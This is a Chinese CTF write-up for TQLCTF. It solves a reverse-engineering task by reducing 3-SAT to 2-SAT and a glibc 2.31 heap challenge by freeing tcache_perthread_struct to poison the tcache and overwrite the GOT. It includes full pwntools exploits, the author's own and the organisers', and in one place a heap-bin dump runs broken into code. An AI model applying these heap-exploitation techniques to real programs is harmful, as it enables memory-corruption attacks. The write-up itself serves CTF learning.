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TQLCTF-RE/PWN方向部分题目详细分析与题解
技术教程 2024/11/13 佚名
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RE

Tales of the Arrow

在遇到这题以前甚至都没接触过2-sat问题，所以这次也对这个问题做个概述吧。

以下内容摘自OI WIKI：

2-SAT，简单的说就是给出 n个集合，每个集合有两个元素，已知若干个<a,b>，表示 a与 b矛盾（其中 a与b属于不同的集合）。然后从每个集合选择一个元素，判断能否一共选n个两两不矛盾的元素。

而本题关键如下：

def get_lit(i):    return (i+1) * (2*int(bits[i])-1)for t in range(N):    i = random.randint(0,n-1)    p = random.randint(0,2)    true_lit = get_lit(i)    for j in range(3):        if j == p:            print(true_lit)        else:            tmp = random.randint(0,n-1)            rand_true = get_lit(tmp)            if random.randint(0,3)==0:                print(rand_true)            else:                print(-rand_true)

每轮打印比特流中的随机三位的比特状态，但这个状态有可能会取反。且取反与否发生的概率是0.5。

一开始是3-sat问题，每轮必有一个数是真实状态，另外两个数则可真可假。但3-sat是NP完全问题，基本属于不可解。所以首先我们根据明文的特殊条件消除不确定性。

因为字符串必定是可打印的字符串，其由ASCII码组成，最高位必定为0。那么这一位的状态必定是负数，如果打印出该位的状态是正数，则表示它并非必然真值，那么该组数据中另外两个必有一个为真。如果将所有带有上述情况的组别取出，问题便被缩减到2-sat，即必有一真，另一者可真可假。

2-sat问题存在多项式解法(这是结论，笔者并没有证明过)，即在数据量足够的情况下，该问题会有唯一解。本题一共给出了5000组数据，符合本条件。

而本题之后的解法也很朴素，在二选一的条件下，如果又出现了“必为负数”的位被以正数打印出来，那么最后一个数就必定真值了，将所有确定真值的位全都统计下来，就能还原完整的比特流。

参考Nu1L发布的WP自己改的：

f = open("output.txt")             n = int(f.readline().rstrip('\n'))N = int(f.readline().rstrip('\n'))x=[]for i in range(1,5000):    x1=int(f.readline())    x2=int(f.readline())    x3=int(f.readline())    x.append([x1,x2,x3])true_numer=[]for i in range(n//8):    true_numer.append(-8*i-1)flag=[]for i in range(n):    flag.append(0)for i in x:    if(((-i[0] in true_numer) + (-i[1] in true_numer) + (-i[2] in true_numer))==2):        count+=1        for j in range(3):            if((i[j] not in true_numer)and(-i[j]not in true_numer)):                    true_numer+= [i[j]]for i in true_numer:    if(i<0):        flag[abs(i)-1]=0    else:        flag[i-1]=1flag_text=""for i in flag:    flag_text+=str(i)print(bytes.fromhex(hex(int(flag_text,2))[2:]))f.close()

PWN

unbelievable_write

任意地址free，没有泄露，没有PIE，本该是道简单题，结果做了一整天......看完官方WP之后发现自己还是想的太少了，不过我自己的方法姑且也打通了，所以先从笔者的方法开始吧。

libc版本是2.31，已经有tcache了。因为此前我很少接触这个部分，所以这次记的详细一些(个人其实不太愿意在需要之前主动去掌握利用方式，这看着有些像是在“为了利用而利用”)。

程序逻辑这里不再复述，唯一值得注意的就是，它会很快就把本轮开辟的chunk释放掉，所以很难在Bin中布置chunk。

任意地址free允许我们直接把tcache_perthread_struct释放，其结构如下：

typedef struct tcache_perthread_struct{  uint16_t counts[TCACHE_MAX_BINS];//TCACHE_MAX_BINS=64  tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;typedef struct tcache_entry{  struct tcache_entry *next;  struct tcache_perthread_struct *key;} tcache_entry;

可知该结构体大小为0x290，且能够控制Tcache bin的各项数据，包括链表和计数。

所以我们首先把它释放掉，然后向其中填充数据：

#首先我们先开辟一个chunk让它放到tcache bin里，事后备用payload1='aaaaaaaa'create_chunk(0x28,payload1)#然后释放tcache_perthread_structfree_index(-0x290)#接下来将tcache里的count全都置7，表示装满，以后的chunk就不会再放到这里了#同时在里面将几个next指向free_got和target_addr#这样我们之后就能向free_got和target写入数据了payload1=(p16(7)*0x28).ljust(128,b'\x00')+(p64(free_got)+p64(target_addr)+p64(0)+p64(0))create_chunk(0x288,payload1)

在写入数据之后，它会立刻把tcache_perthread_struct释放掉，不过现在会因为Tcache Bin已经满了，而被放到Unsorted Bin里。Bin结构如下：

tcachebins0x20 [64480]: 0x404018 (free@got.plt) —"python">#这里payload1没变，其实填什么都行，目的只是分割罢了create_chunk(0x48,payload1)#然后将free_got写成main，而0x401040是默认数据#在从tcache bin中获取chunk时，会将key部分写为0，这会导致free的下一个函数被清零#所以恢复其中未装载时的状态，防止调用它时发生异常payload1=p64(main_addr)+p64(0x401040)create_chunk(0x18,payload1)#然后再把target拿下来，随便写点数据进去就行了，只要不是原数就行create_chunk(0x28,payload1)#最后我们调用c3函数即可open_flag()

如果我们事前没有切割Unsorted Bin，会因为2.31版本的libc检测，发生如下异常：

malloc(): unsorted double linked list corrupted

因为之前Unsorted Bin中挂的是tcache_perthread_struct，在从tcache中取出chunk的时候，会把count减一，导致fd指针无所指向，构不成回环而错误(前几个版本还不这么严格，2.31显然变得苛刻了不少)

但这个错误是发生的puts时的，该函数会在输出时为字符串开辟堆空间，所以在开辟时企图从Unsorted Bin分配时才被检测到，不会影响从Tcache Bin中的分配。

另外，还需要注意的一点是，不能直接把free_got写成c3函数中绕过检查的地址。最后也会crash在puts中。但笔者目前不知道为什么写成main就可以，而写成c3就会crash，如果有师傅知道的话务必教教我。

笔者自己的完整EXP：

from pwn import *context.log_level = 'debug'p = process('./pwn')elf=ELF('./pwn')malloc=0x401387free=0x4013fdret=0x40154Dfree_got=elf.got['free']target_addr=0x404080ptr_addr=free_gotmain=0x40152Dmas=0x401473mas=maindef create_chunk(size,context):    p.sendline(str(1))    p.sendline(str(size))    p.sendline(context)def free_index(index):    p.sendline(str(2))    p.sendline(str(index))def open_flag():    p.sendline(str(3))payload1='aaaaaaaa'create_chunk(0x28,payload1)free_index(-0x290)payload1=(p16(7)*0x28).ljust(128,b'\x00')+(p64(ptr_addr)+p64(target_addr)+p64(0)+p64(0))create_chunk(0x288,payload1)create_chunk(0x48,payload1)payload1=p64(mas)+p64(0x401040)create_chunk(0x18,payload1)create_chunk(0x28,payload1)open_flag()p.interactive()

然后回到官方WP，出题人表示，能写got纯粹是一个意外，它的本意是利用io，大致逻辑如下：

  • 首先释放tcache_perthreadstruct，然后修改mp，该值确定了tcache bin中最大能容纳的chunk大小，让0x1000等chunk也使用tcache
  • 同时在tcache bin中挂上target，然后在使用stdout时会从中申请chunk，并将数据写进该chunk
static struct malloc_par mp_ ={  .top_pad = DEFAULT_TOP_PAD,  .n_mmaps_max = DEFAULT_MMAP_MAX,  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,  .trim_threshold = DEFAULT_TRIM_THRESHOLD,#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))  .arena_test = NARENAS_FROM_NCORES (1)#if USE_TCACHE  ,  .tcache_count = TCACHE_FILL_COUNT,  .tcache_bins = TCACHE_MAX_BINS,  .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),  .tcache_unsorted_limit = 0 /* No limit.  */#endif};

官方EXP如下：(笔者自行添加了注释)

#!/usr/bin/env python3from pwn import *context(os='linux', arch='amd64')#context.log_level='debug'def exp():    io = process('./pwn', stdout=PIPE)    def malloc(size, content):        io.sendlineafter(b'>', b'1')        io.sendline(str(int(size)).encode())        io.send(content)    def tcache_count(l):        res = [b'\x00\x00' for i in range(64)]        for t in l:            res[(t - 0x20)//0x10] = b'\x08\x00'        return b''.join(res)    try:        #在top chunk中布置0x404078，扩大tcache之后，这些都会变为next指针        malloc(0x1000, p64(0x404078)*(0x1000//8))        #释放tcache_perthread_struct        io.sendlineafter(b'>', b'2')        io.sendline(b'-656')        #首先把0x290的count置8，让tcache_perthread_struct放进unsorted bin        malloc(0x280, tcache_count([0x290]) + b'\n')        #然后分割tcache_perthread_struct，让tcache bin中的0x400和0x410项放入main_arena+96        malloc(0x260, tcache_count([0x270]) + b'\n')        #然后把0x400和0x410也拉满，然后把0x400里的地址低位改成0xf290        #这是单纯的爆破，希望它能指向&mp_+0x10        malloc(0x280, tcache_count([0x400, 0x410, 0x290]) + b'\x01\x00'*4*62 + b'\x90\xf2' + b'\n')        #倘若指向了&mp_+0x10，那么就修改数据扩大tcache        malloc(0x3f0, flat([            0x20000,            0x8,            0,            0x10000,            0, 0, 0,            0x1301000,            2**64-1,        ]) + b'\n')        #调用puts，让它为stdout开辟缓冲区，此时会从tcache中获取chunk        #但tcache中已经被布置了0x404078，所以会得到此处内存        #并且这个内存处会被陷入puts的字符串        io.sendlineafter(b'>', b'3')        #此时target已被修改，直接调用即可成功        io.sendlineafter(b'>', b'3')        flaaag = io.recvall(timeout=2)        print(flaaag)        io.close()        return True    except:        io.close()        return Falsei = 0while i < 20 and not exp():    i += 1    continue